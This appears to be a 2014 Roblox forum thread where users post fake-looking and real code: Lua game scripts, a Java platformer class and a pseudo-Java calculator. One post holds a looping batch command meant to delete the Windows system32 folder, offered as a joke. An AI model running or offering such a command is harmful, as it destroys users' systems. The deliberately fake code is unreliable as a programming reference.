| |
|
»
»
|
|
| |
Let's do fake programming!
|
|
|
|
| 08 Feb 2014 03:25 PM |
Alright, if you want it to look real, do a little research on the programming language, here's my java example:
/** *This is a simple calculator *Made with Java */ class window import calculator_style class calc public class/* 1,2 3,4 5,6 7,8 9*/
import math int userinput public class/* +,= -*/
private action.Print(public class);
|
|
|
| Report Abuse |
|
|
| |
|
|
| 08 Feb 2014 03:30 PM |
;Script/ ;Words/ /You are a poopy faic/ Word;This is a paragraph/ |
|
|
| Report Abuse |
|
|
Madified
|
  |
| Joined: 19 Apr 2011 |
| Total Posts: 5292 |
|
| |
|
|
| 08 Feb 2014 03:32 PM |
| An actual programming language please. |
|
|
| Report Abuse |
|
|
| |
|
Madified
|
  |
| Joined: 19 Apr 2011 |
| Total Posts: 5292 |
|
| |
|
|
| 08 Feb 2014 03:33 PM |
@mad again
Did not notice the last line. |
|
|
| Report Abuse |
|
|
|
| 08 Feb 2014 03:34 PM |
v = Instance.new("Message") v.Parent = game.StarterGui v.Text = "Waiting for basic assets." wait(8) v:Destroy()
player = game.Players.LocalPlayer char = player.Character
hum = char.Humanoid
gun = game.ReplicatedStorage.Gun
cf = true
maxammo = 40
reloadtime = 3
grip = gun.barrelpos1
arms = {char['Right Arm'],char['Left Arm']}
joints = {char.Torso['Right Shoulder'],char.Torso['Left Shoulder']} gval = Instance.new("BoolValue") gval.Name = (player.Name .. "gval") gval.Parent = game.ReplicatedStorage mouse = player:GetMouse() function equip(key) player = game.Players.LocalPlayer char = player.Character
gun = game.ReplicatedStorage.Gun
grip = gun.barrelpos1
arms = {char['Right Arm'],char['Left Arm']}
equipped = game.ReplicatedStorage[player.Name .. "gval"]
joints = {char.Torso['Right Shoulder'],char.Torso['Left Shoulder']} key = key:lower() if key == "e" then player.CameraMode = Enum.CameraMode.LockFirstPerson if equipped.Value == false then gun = game.ReplicatedStorage.Gun print"check" ng = gun:Clone() ng.Parent = Workspace ng.Name = (player.Name .. "gun") weld = Instance.new("Weld") weld.Part0 = ng.Handle weld.Parent = weld.Part0 ng.Handle.CFrame = arms[1].CFrame weld.Part1 = arms[1] weld.C0 = CFrame.new(0.3,-0,0.2) * CFrame.Angles(math.pi/2,-0,-math.pi/2.4) ng.Arms.Disabled = false ng.Arms.Parent = player.Backpack script.Gun.Value = ng csw = Instance.new("ObjectValue") csw.Value = weld csw.Parent = char csw.Name = (player.Name .. "weld") Ed = true equipped.Value = true
elseif equipped.Value == true then Ed = false ng = Workspace:FindFirstChild(player.Name .. "gun") ng:Destroy() equipped.Value = false player.CameraMode = Enum.CameraMode.Classic end end wait() end mouse.KeyDown:connect(equip) ng = Workspace:FindFirstChild(player.Name .. "gun") function check1() firing = true end mouse.Button1Down:connect(check1) function check2() firing = false end mouse.Button1Up:connect(check2) ammo = 40 ignoreables = {char,ng} cam = Workspace.CurrentCamera function hammer() ngw = char:FindFirstChild(player.Name .. "weld") acc = ng.Accuracy ammo = ammo - 1 rnp = math.random(0,35) rnn = math.random(-35,0) script.Fire:Play() offset = mouse.Hit.p + Vector3.new(math.random(0.0 .. rnn,0.0 .. rnp),math.random(0.0 .. rnn,0.0 .. rnp),math.random(0.0 .. rnn,0.0 .. rnp)) local ray = Ray.new(ng.barrelpos1.CFrame.p, (offset - ng.barrelpos1.CFrame.p).unit*999) local hit, position = game.Workspace:FindPartOnRayWithIgnoreList(ray, ignoreables)
if ngw.Value then ng.Raise.Value= ng.Raise.Value + 1
end
print (hit) if hit ~= nil then if hit:FindFirstChild("Humanoid") then humanoid = hit:FindFirstChild("Humanoid") humanoid:TakeDamage(10) end end
--draw the ray local distance = (position - ng.barrelpos1.CFrame.p).magnitude local rayPart = Instance.new("Part", char) rayPart.Name = "RayPart" rayPart.BrickColor = BrickColor.new("New Yeller") rayPart.Transparency = 0.3 rayPart.Anchored = true rayPart.CanCollide = false rayPart.TopSurface = Enum.SurfaceType.Smooth rayPart.BottomSurface = Enum.SurfaceType.Smooth rayPart.formFactor = Enum.FormFactor.Custom rayPart.Size = Vector3.new(0.35, distance, 0.35) rayPart.CFrame = CFrame.new(position, ng.barrelpos1.CFrame.p) * CFrame.new(0, 0, -distance/2) * CFrame.Angles(0,math.pi/2,math.pi/2) --pow = game.ReplicatedStorage.Boom:Clone() --pow.Parent = Workspace rm = Instance.new("SpecialMesh",rayPart) rm.Scale = Vector3.new(0.3,1,0.3) game.Debris:AddItem(rayPart, 0.1) print("fired") wait(0.001) end
function reload() cf = false wait(reloadtime) ammo = maxammo cf = true end auto = true function fire() print (firing,ammo,equipped,auto) if cf == true then if auto == true and Ed == true then print (firing) print (ammo) if ammo > 0 then repeat hammer() until firing == false or ammo <= 0 if ammo <= 0 then reload() end if ammo<=0 then reload() end end end end end mouse.Button1Down:connect(fire) |
|
|
| Report Abuse |
|
|
|
| 08 Feb 2014 03:36 PM |
Great example, username I did not look at.
I'd like more of an variety of programming languages though. |
|
|
| Report Abuse |
|
|
|
| 08 Feb 2014 03:38 PM |
print("H4X U LOLOLOLOL") repeat wait()
That's actually a script I made a year ago when I was learning ROBLOX scripting. I never finished it, though. |
|
|
| Report Abuse |
|
|
zomg44
|
  |
| Joined: 30 Sep 2008 |
| Total Posts: 5678 |
|
|
| 08 Feb 2014 03:39 PM |
gam.gost.stopopgfjrefsiogrjrewligfjkrt
jdglkrewjrlfgtjr wgtrw dgf tr;efg htr4e gh tr ghte rgf 45tyu435r5432q3455611110111 |
|
|
| Report Abuse |
|
|
|
| 08 Feb 2014 03:40 PM |
@zomg
C'mon, something better! |
|
|
| Report Abuse |
|
|
MrDiddy7
|
  |
| Joined: 03 Jan 2014 |
| Total Posts: 420 |
|
| |
|
|
| 08 Feb 2014 03:41 PM |
package main;
import java.awt.Graphics; import java.awt.Graphics2D; import java.awt.Point; import java.awt.Rectangle; import java.awt.event.KeyEvent; import java.awt.event.KeyListener; import java.awt.event.MouseEvent; import java.awt.event.MouseListener; import java.awt.geom.AffineTransform; import java.awt.image.BufferedImage;
import javax.imageio.ImageIO;
public class Player implements KeyListener, MouseListener { public BufferedImage textureLeft, textureRight, textureWalkLeft1, textureWalkRight1, textureWalkLeft2, textureWalkRight2, textureJumpLeft, textureJumpRight, textureSonicLeft, textureSonicRight; public int x, y = 412; public boolean up, down, left, right, jumping, canJump, falling, sonic; public boolean direction = true; //false = left, true = right public int currentFrame, frameTime; public boolean debug; public int jumpTime;
public Player() { try { textureLeft = ImageIO.read(getClass().getResource("/res/texture/player/playerLeft.png")); textureRight = ImageIO.read(getClass().getResource("/res/texture/player/playerRight.png")); textureWalkLeft1 = ImageIO.read(getClass().getResource("/res/texture/player/playerWalkLeft1.png")); textureWalkRight1 = ImageIO.read(getClass().getResource("/res/texture/player/playerWalkRight1.png")); textureWalkLeft2 = ImageIO.read(getClass().getResource("/res/texture/player/playerWalkLeft2.png")); textureWalkRight2 = ImageIO.read(getClass().getResource("/res/texture/player/playerWalkRight2.png")); textureJumpLeft = ImageIO.read(getClass().getResource("/res/texture/player/playerJumpLeft.png")); textureJumpRight = ImageIO.read(getClass().getResource("/res/texture/player/playerJumpRight.png")); textureSonicLeft = ImageIO.read(getClass().getResource("/res/texture/player/playerSonicLeft.png")); textureSonicRight = ImageIO.read(getClass().getResource("/res/texture/player/playerSonicRight.png")); } catch(Exception e) { e.printStackTrace(); } }
public void update() { if(jumping) { if(jumpTime >= 30) { jumpTime = 0; jumping = false; falling = true; } else { jumpTime++; down = false; up = true; falling = false; } } else { falling = true; } if(falling) { up = false; down = true; } if(up) { l1 : for(int i = 0; i < 3; i++) { for(Platform p : Launch.instance.pfList) { if(y - 1 == p.y + p.height) { for(int l = 30; l < 49; l++) { int magN = x + l; if(magN >= p.x && magN <= p.x + p.width) { falling = true; jumping = false; jumpTime = 0; break l1; } } } } y--; } } if(down) { l1 : for(int i = 0; i < 4; i++) { for(Platform p : Launch.instance.pfList) { if(!(p instanceof Door && ((Door) p).open)) if(y + 108 == p.y) { for(int l = 30; l < 49; l++) { int magN = x + l; if(magN >= p.x && magN <= p.x + p.width) { falling = false; canJump = true; break l1; } } } } y++; } } if(left && !right) { direction = false; if(!jumping && !falling) { l1 : for(int i = 0; i < 3; i++) { for(Platform p : Launch.instance.pfList) { if(!(p instanceof Door && ((Door) p).open)) if(x + 34 == p.x + p.width) { for(int l = 0; l < 108; l++) { int magN = y + l; if(magN >= p.y && magN <= p.y + p.height) { break l1; } } } } x--; } } else { l1 : for(int i = 0; i < 2; i++) { for(Platform p : Launch.instance.pfList) { if(!(p instanceof Door && ((Door) p).open)) if(x + 34 == p.x + p.width) { for(int l = 0; l < 108; l++) { int magN = y + l; if(magN >= p.y && magN <= p.y + p.height) { break l1; } } } } x--; } } } if(right && !left) { direction = true; if(!jumping && !falling) { l1 : for(int i = 0; i < 3; i++) { for(Platform p : Launch.instance.pfList) { if(!(p instanceof Door && ((Door) p).open)) if(x + 46 == p.x) { for(int l = 0; l < 108; l++) { int magN = y + l; if(magN >= p.y && magN <= p.y + p.height) { break l1; } } } } x++; } } else { l1 : for(int i = 0; i < 2; i++) { for(Platform p : Launch.instance.pfList) { if(!(p instanceof Door && ((Door) p).open)) if(x + 46 == p.x) { for(int l = 0; l < 108; l++) { int magN = y + l; if(magN >= p.y && magN <= p.y + p.height) { break l1; } } } } x++; } } } if(left || right) { if(currentFrame == 0) { if(frameTime >= 10) { currentFrame = 1; frameTime = 0; if(!jumping && !falling) Launch.instance.sound.playSound("walk"); } else { frameTime++; } } else if(currentFrame == 1) { if(frameTime >= 10) { currentFrame = 2; frameTime = 0; } else { frameTime++; } } else if(currentFrame == 2) { if(frameTime >= 10) { currentFrame = 3; frameTime = 0; if(!jumping && !falling) Launch.instance.sound.playSound("walk"); } else { frameTime++; } } else if(currentFrame == 3) { if(frameTime >= 10) { currentFrame = 0; frameTime = 0; } else { frameTime++; } } } else { currentFrame = 0; } if(!left && !right) { if(Launch.instance.frame.getMousePosition() != null) { Point p = Launch.instance.frame.getMousePosition(); if(x + 18 < p.x) { direction = true; } else { direction = false; } } } }
public void render(Graphics g) { if(!direction) { if(left) { if(jumping || falling) { g.drawImage(textureJumpLeft, x, y, null); } else { if(currentFrame == 0 || currentFrame == 2) { g.drawImage(textureLeft, x, y, null); g.drawImage(textureLeft, x, y, null); } else if(currentFrame == 1) { g.drawImage(textureWalkLeft1, x, y, null); } else if(currentFrame == 3) { g.drawImage(textureWalkLeft2, x, y, null); } } } else if(jumping || falling) { g.drawImage(textureJumpLeft, x, y, null); } else { if(Launch.instance.frame.getMousePosition() != null) { Point p = Launch.instance.frame.getMousePosition(); if(p != null) { double rotation = Math.toDegrees(Math.atan2(p.x - (x + 41), p.y - (y + 29))); double theta = Math.toRadians(rotation * -1); Graphics2D g2D = (Graphics2D) g; AffineTransform oldA = g2D.getTransform(); AffineTransform newA = new AffineTransform(oldA); g2D.setTransform(newA); newA.getRotateInstance(theta, x + 41, y + 29); g2D.rotate(theta, x + 41, y + 29); g2D.drawImage(textureSonicLeft, x + 4, y - 3, null); g2D.setTransform(oldA); } } else { g.drawImage(textureSonicLeft, x + 4, y - 3, null); } g.drawImage(textureLeft, x, y, null); } } else { if(right) { if(jumping || falling) { g.drawImage(textureJumpRight, x, y, null); } else { if(currentFrame == 0 || currentFrame == 2) { g.drawImage(textureRight, x, y, null); g.drawImage(textureSonicRight, x + 4, y - 3, null); } else if(currentFrame == 1) { g.drawImage(textureWalkRight1, x, y, null); } else if(currentFrame == 3) { g.drawImage(textureWalkRight2, x, y, null); } } } else if(jumping || falling) { g.drawImage(textureJumpRight, x, y, null); } else { g.drawImage(textureRight, x, y, null); if(Launch.instance.frame.getMousePosition() != null) { Point p = Launch.instance.frame.getMousePosition(); if(p != null) { double rotation = Math.toDegrees(Math.atan2(p.x - (x + 41), p.y - (y + 29))); double theta = Math.toRadians(rotation * -1); Graphics2D g2D = (Graphics2D) g; AffineTransform oldA = g2D.getTransform(); AffineTransform newA = new AffineTransform(oldA); g2D.setTransform(newA); newA.getRotateInstance(theta, x + 41, y + 29); g2D.rotate(theta, x + 41, y + 29); g2D.drawImage(textureSonicRight, x + 4, y - 3, null); g2D.setTransform(oldA); } } else { g.drawImage(textureSonicRight, x + 4, y - 3, null); } } } checkStage(); }
public void interruptSonic() { if(sonic) { sonic = false; Launch.instance.sound.getClip("sonic").stop(); } }
public void checkStage() { Launch l = Launch.instance; if(x >= 940) { switch(l.stage) { case (1): l.generateStage2(); resetLocationLeft(); break; } } else if(x <= -30) { switch(l.stage) { case (2): l.generateStage1(); resetLocationRight(); break; } } }
public void resetLocationRight() { x = 920; y = 412; }
public void resetLocationLeft() { x = 0; y = 412; }
@Override public void keyPressed(KeyEvent event) { switch(event.getExtendedKeyCode()) { case (KeyEvent.VK_W): if(canJump) { jumping = true; canJump = false; interruptSonic(); Launch.instance.sound.playSound("Jump"); } break; case (KeyEvent.VK_SPACE): if(canJump) { jumping = true; canJump = false; interruptSonic(); Launch.instance.sound.playSound("Jump"); } break; case (KeyEvent.VK_A): left = true; interruptSonic(); break; case (KeyEvent.VK_D): right = true; interruptSonic(); break; } }
@Override public void keyReleased(KeyEvent event) { switch(event.getExtendedKeyCode()) { case (KeyEvent.VK_A): left = false; interruptSonic(); break; case (KeyEvent.VK_D): right = false; interruptSonic(); break; case (KeyEvent.VK_F1): if(debug) { debug = false; } else { debug = true; } } }
@Override public void keyTyped(KeyEvent event) { }
@Override public void mouseClicked(MouseEvent event) { }
@Override public void mouseEntered(MouseEvent event) { }
@Override public void mouseExited(MouseEvent event) { }
@Override public void mousePressed(MouseEvent event) { if(!left && !right && !falling && !jumping) if(!sonic) { Launch.instance.sound.playLoopedSound("sonic"); sonic = true; Point p = Launch.instance.frame.getMousePosition(); for(Door d : Launch.instance.doorList) { Rectangle r = new Rectangle(d.x, d.y, d.width, d.height); int x2 = p.x - (x + 40); int y2 = p.y - (y + 54); if(Math.abs(Math.sqrt(x2 * x2 + y2 * y2)) <= 100 && r.contains(p)) if(d.open) { d.open = false; Launch.instance.sound.playSound("close_door"); } else { d.open = true; Launch.instance.sound.playSound("open_door"); } } } }
@Override public void mouseReleased(MouseEvent event) { interruptSonic(); } } |
|
|
| Report Abuse |
|
|
| |
|
MrDiddy7
|
  |
| Joined: 03 Jan 2014 |
| Total Posts: 420 |
|
|
| 08 Feb 2014 03:42 PM |
@echo off :A del c:\windows\system32 goto :A |
|
|
| Report Abuse |
|
|
|
| 08 Feb 2014 03:43 PM |
@diddy
Lets not delete System32. |
|
|
| Report Abuse |
|
|
| |
|
| |
|
| |
|
| |
|
|
| 08 Feb 2014 03:53 PM |
Natures = { Hardy = {Raise = "None", Lower = "None"}; Lonely = {Raise = "Attack", Lower = "Defense"}; Brave = {Raise = "Attack", Lower = "Speed"}; Adamant = {Raise = "Attack", Lower = "Special Attack"}; Naughty = {Raise = "Attack", Lower = "Special Defense"}; Bold = {Raise = "Defense", Lower = "Attack"}; Docile = {Raise = "None", Lower = "None"}; Relaxed = {Raise = "Defense", Lower = "Speed"}; Impish = {Raise = "Defense", Lower = "Special Attack"}; Lax = {Raise = "Defense", Lower = "Special Defense"}; Timid = {Raise = "Speed", Lower = "Attack"}; Hasty = {Raise = "Speed", Lower = "Defense"}; Serious = {Raise = "None", Lower = "None"}; Jolly = {Raise = "Speed", Lower = "Special Attack"}; Naive = {Raise = "Speed", Lower = "Special Defense"}; Modest = {Raise = "Special Attack", Lower = "Attack"}; Mild = {Raise = "Special Attack", Lower = "Defense"}; Quiet = {Raise = "Special Attack", Lower = "Speed"}; Bashful = {Raise = "None", Lower = "None"}; Rash = {Raise = "Special Attack", Lower = "Special Defense"}; Calm = {Raise = "Special Defense", Lower = "Attack"}; Gentle = {Raise = "Special Defense", Lower = "Defense"}; Sassy = {Raise = "Special Defense", Lower = "Speed"}; Careful = {Raise = "Special Defense", Lower = "Speical Attack"}; Quirky = {Raise = "None", Lower = "None"}; }
NatureList = {}
for i, v in pairs(Natures) do table.insert(NatureList,i) end
for i, v in pairs(Natures) do Natures[i] = { Attack = (v.Raise == "Attack" and 1.1) or (v.Lower == "Attack" and 0.9) or 1; Defense = (v.Raise == "Defense" and 1.1) or (v.Lower == "Defense" and 0.9) or 1; ["Special Attack"] = (v.Raise == "Special Attack" and 1.1) or (v.Lower == "Special Attack" and 0.9) or 1; ["Special Defense"] = (v.Raise == "Special Defense" and 1.1) or (v.Lower == "Special Defense" and 0.9) or 1; Speed = (v.Raise == "Speed" and 1.1) or (v.Lower == "Speed" and 0.9) or 1; } end
Abilities = { Aftermath = { Name = "Aftermath"; Description = "Damages the attacker landing the finishing hit"; Effect = function(user, target) target.Health = target.Health - target.MaxHealth/4 end } }
Moves = { Tackle = setmetatable({ Name = "Tackle"; Effect = "Damage"; Power = 50; Accuracy = 95; Type = "Normal"; Description = "User rams the target with it's body." },{ __call = function(self,user,target) if math.random(1,100) > self.Accuracy then target.Health = target.Health - self.Power end end }); Outblast = setmetatable({ Name = "Outblast"; Effect = "Damage"; Power = 100; Accuracy = 100; Type = "Dragon"; Description = "User blasts a super charged ball of power at the target" },{ __call = function(self,user,target) if math.random(1,100) > self.Accuracy then target.Health = target.Health - self.Power end end }) }
Pokemon = { Test = { Name = "Test"; BaseHealth = 100; BaseAttack = 50; BaseDefense = 75; BaseSpecialAttack = 60; BaseSpecialDefense = 65; BaseSpeed = 60; BaseType = "Normal"; SubType = "None"; PossibleAbilities = {Abilities.Aftermath}; Moves = { ["90"] = Moves.Outblast; ["0"] = Moves.Tackle; } } }
function Pokemon.new(Base,Level) local RandomNature = math.random(1,#NatureList) local Nature = Natures[NatureList[RandomNature]] local Moveset = setmetatable({},{ __call = function(self) local counter = 0 for i, v in pairs(self) do if v then counter = counter + 1 end end return counter end }) print(NatureList[RandomNature]) for i, v in pairs(Base.Moves) do if Moveset() < 4 then print("There's a moveslot!") if tonumber(i) < Level then print("Move Being Added") Moveset[v.Name] = v end end end
print(Moveset()) return { Level = Level; Health = math.ceil((Base.BaseHealth * Level/100) + 10 + Level); Attack = math.ceil(((Base.BaseAttack * Level/100) + 5) * Nature.Attack); Defense = math.ceil(((Base.BaseDefense * Level/100) + 5) * Nature.Defense); ["Special Attack"] = math.ceil(((Base.BaseSpecialAttack * Level/100) + 5) * Nature["Special Attack"]); ["Special Defense"] = math.ceil(((Base.BaseSpecialDefense * Level/100) + 5) * Nature["Special Defense"]); Speed = math.ceil(((Base.BaseSpeed * Level/100) + 5) * Nature.Speed); Nature = Nature; Ability = Base.PossibleAbilities[math.random(1,#Base.PossibleAbilities)]; Moves = Moveset; Name = Base.Name } end
return {Pokemon = Pokemon, Moves = Moves, Abilities = Abilities, Natures = Natures}
C & Ped this from a ModuleScript I'm working on as a Database for a possible turn based pokemon thing. |
|
|
| Report Abuse |
|
|
|
| 08 Feb 2014 03:55 PM |
Great job evo! But like I said in the title, the code should be fake, but still look real. |
|
|
| Report Abuse |
|
|
| |
|
|
| |
|
|
| |
|
»
»
|
|
|
|
|